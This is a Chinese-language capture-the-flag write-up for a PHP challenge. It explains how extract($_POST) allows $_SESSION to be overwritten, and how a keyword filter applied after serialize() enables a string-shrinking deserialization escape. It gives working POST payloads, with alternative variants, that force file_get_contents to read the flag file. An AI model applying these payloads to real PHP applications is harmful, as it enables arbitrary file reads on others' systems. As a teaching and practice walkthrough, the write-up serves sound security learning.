考点:变量覆盖,字符逃逸(感觉字符逃逸不自己做一遍很难真会了)
先拿到源码
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
代码审计
1.function filter(),这是个过滤器,会匹配传入的’php’,’flag’,’php5′,’php4′,’fl1g’,然后删掉之后返回
2.后面一段是删掉现有$_SESSION中的所有数据,然后在session中写两个键值对,user=guest和function=$function也就是会传入的f
3.重点看extract($_POST);,这会将 POST 请求中所有参数导入当前符号表,即把每个 POST 参数名作为变量名,对应的值作为该变量的值。这是一个危险操作,因为可以覆盖已存在的变量。也就是说上面有关session的代码基本上都是没用的,因为会变量覆盖掉,比如传入_SESSION[flag]=flag,_SESSION数组中只会剩下一个flag=>flag
4.后续添加了一个$_SESSION[‘img’]=base64_encode(‘guest_img.png’),接着就是$serialize_info = filter(serialize($_SESSION));,这里的先序列化后经过过滤提供了反序列化逃逸的条件
5.看到//maybe you can find something in here,所以打开phpinfo(),不难发现目标文件d0g3_f1ag.php

解题过程
思路:这里是一道缩短的反序列化字符逃逸,缩短的反序列化需要对两个变量去操作,前一个属性包含被过滤的字符,后一个变量包含要逃逸出来的东西,这题会在后面加一个$_SESSION[‘img’] = base64_encode(‘guest_img.png’);,所以还需要去把这个属性去掉,所以还要在后面加一个属性
1.想要file_get_contents()到d0g3_f1ag.php,需要_SESSION[‘img’]=”ZDBnM19mMWFnLnBocA==“(d0g3_f1ag.php的base64编码),我们看_SESSION序列化后会输出什么
<?php
$_SESSION["a"] = '123';
$_SESSION["b"] = '456';
$_SESSION['img'] = "ZDBnM19mMWFnLnBocA==";
echo serialize($_SESSION);
//结果:a:3:{s:1:"a";s:3:"123";s:1:"b";s:3:"456";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
那我们构造的payload就要在属性的末尾加上";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==
2.我们让b的末尾加上这个东西看一下a要多吞下多少个字符
<?php
$_SESSION["a"] = '123';
$_SESSION["b"] = '456";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==';
$_SESSION['img'] = "ZDBnM19mMWFnLnBocA==";
echo serialize($_SESSION);
//结果:a:3:{s:1:"a";s:3:"123";s:1:"b";s:44:"456";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
! !
要吃掉的地方就是这里:“;s:1:”b”;s:44:”456 我们看一下长度多少
echo strlen('";s:1:"b";s:44:"456');//结果:19
那么就要在a属性里加上4个4字符的和1个3字符的被过滤字符(4*4+3=19),比如这样
<?php
$_SESSION["a"] = '123flagflagflagflagphp';
$_SESSION["b"] = '456";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==';
$_SESSION['img'] = "ZDBnM19mMWFnLnBocA==";
echo serialize($_SESSION);
3.我们来看后面加的img属性要被吞多少字符
<?php
$_SESSION["a"] = '123flagflagflagflagphp';
$_SESSION["b"] = '456";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==';
$_SESSION["c"] = '789flagflagflagflagphpflagflagflagflagphp';
$_SESSION['img'] = base64_encode('guest_img.png');
echo serialize($_SESSION);
//结果:a:4:{s:1:"a";s:22:"123flagflagflagflagphp";s:1:"b";s:44:"456";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"c";s:3:"789";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
“;s:3:”img”;s:20:”Z3Vlc3RfaW1nLnBuZw== 这一段是要被吃的,我们看下长度是38=4*8+3*2,c就可以是789flagflagflagflagphpflagflagflagflagphp
4.做到这还有一个问题,4个元素变成了3个,反序列化不出来,前面的数字只能少于元素数不能多,所以还要在b的末尾加上“;s:1:”d”;s:3:”789,多加一个属性
用POST传入:_SESSION[a]=123flagflagflagflagphp&_SESSION[b]=456";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"d";s:3:"789&_SESSION[c]=789flagflagflagflagphpflagflagflagflagphp

5.最后/d0g3_fllllllag的base64是L2QwZzNfZmxsbGxsbGFn我们改一下b的值得到最终payload:_SESSION[a]=123flagflagflagflagphp&_SESSION[b]=456";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:1:"d";s:3:"789&_SESSION[c]=789flagflagflagflagphpflagflagflagflagphp
拿到flag

这里看了大佬们的WP,发现直接让属性名为被过滤词会更好,比如
<?php
#方法一
$_SESSION['flagflag']='";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
#结果 a:1:{s:8:"flagflag";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";},这里就造成img不成为一个键,也就无法进行加密
#过滤掉flag有
#a:1:{s:8:"";s:51:"";s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";}
#使得绕过;s:51:""到达下一个封号,这时img成功逃逸出来
#方法二
$_SESSION['flagphp']=';s:3:"aaa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
#方法三
$_SESSION['flagflag']='";s:2:"aa";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
?>










